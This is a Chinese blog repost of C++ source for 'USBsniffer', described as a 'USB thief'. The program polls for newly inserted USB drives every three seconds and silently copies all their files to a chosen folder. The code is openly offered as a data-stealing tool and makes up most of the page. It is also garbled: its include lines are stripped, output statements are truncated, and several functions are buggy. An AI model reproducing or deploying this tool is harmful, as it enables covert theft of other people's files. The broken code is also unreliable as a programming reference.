c++u盘偷猎程序代码_u盘小偷(转载)c++源码

*USBsniffer v1.0*/

/*USBsniffer*/

/*作者:seek*/

/*日期:2007.2.17*/

/*E-mail:tseek1@gmail.com*/

功能简介:

本程序以3秒为周期,自动检测本地磁盘改动信息,如果发现有移动硬盘

或者U盘等USB存储设备后,会主动窃取其中所有信息,并保存在用户指定路

#include

#include

#include

#include

#include

#include

#include

using namespace std;

void copyfiles(string source,char *target);

char *StringToChar(string source);

bool IsDirectory(const char* fname);

void Init();

int main(int argc,char **argv){

if(argc!=2){

Init();

}

else{

while(access(*(argv+1),0)==0){ // if directory already exist,this will auto add '\1' back it;

strcat(*(argv+1),"\\1\\");

}

if(createDirectory(*(argv+1),NULL)){

DWORD frist=GetLogicalDrives();

DWORD second,n=0;

string targetPath="0";

while(1){ // every 3 seconds to estimate if there is a USB device

Sleep(3000);

second=GetLogicalDrives();

if(second-frist>0){

second-=frist;

while(second>>=1) n++;

targetPath[0]=n+65;

targetPath+=":\\*";

copyfiles(targetPath,*(argv+1));

return 0;

}

}

}

}

}

void copyfiles(string source,char *target){

WIN32_FIND_DATA FindFileData;

HANDLE hFind;

char *sourceDir=0;

int len;

sourceDir=StringToChar(source);

len=strlen(sourceDir);

hFind = FindFirstFile(sourceDir, &FindFileData); //find the target dirctory's frist file;

sourceDir[len-1]='\0'; // take out '*';

while(1){

if(hFind == INVALID_HANDLE_VALUE){ //file found error

break;

}

else{

char temp[200];

char tempPath[200],tempSource[200];

strcpy(temp,sourceDir);

strcat(temp,FindFileData.cFileName);

if(IsDirectory(temp)== true){ //estimate whether is a directory

if(strcmp(FindFileData.cFileName,".")&&strcmp(FindFileData.cFileName,"..")){ //take out . & ..dirc

strcpy(tempSource,sourceDir);

strcat(tempSource,FindFileData.cFileName);

strcpy(tempPath,target);

strcat(tempPath,FindFileData.cFileName);

createDirectory(tempPath,NULL);

strcat(tempSource,"\\*");

strcat(tempPath,"\\");

copyfiles(tempSource,tempPath); //Recursion

}

}

else{ //if is a file,copy to target dirc

strcpy(tempSource,sourceDir);

strcpy(tempPath,target);

strcat(tempPath,FindFileData.cFileName);

strcat(tempSource,FindFileData.cFileName);

CopyFile(tempSource,tempPath,false);

}

if(FindNextFile(hFind,&FindFileData)==0) break; //found the next file

}

}

FindClose(hFind);  //handle closed;

}

char* StringToChar(string source){ //string convent to char*

char *ch=new char[source.length()];

ch=(char*)source.c_str();

return ch;

}

bool IsDirectory(const char* fname) //Directory estimate

{

return FILE_ATTRIBUTE_DIRECTORY == GetFileAttributes(fname) ? true : false;

}

void Init(){ //init function

cout<

<

<

<

<

<

}

posted on

2008-08-25 04:41

lzlynn

阅读(948)

评论(0)

编辑

收藏

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值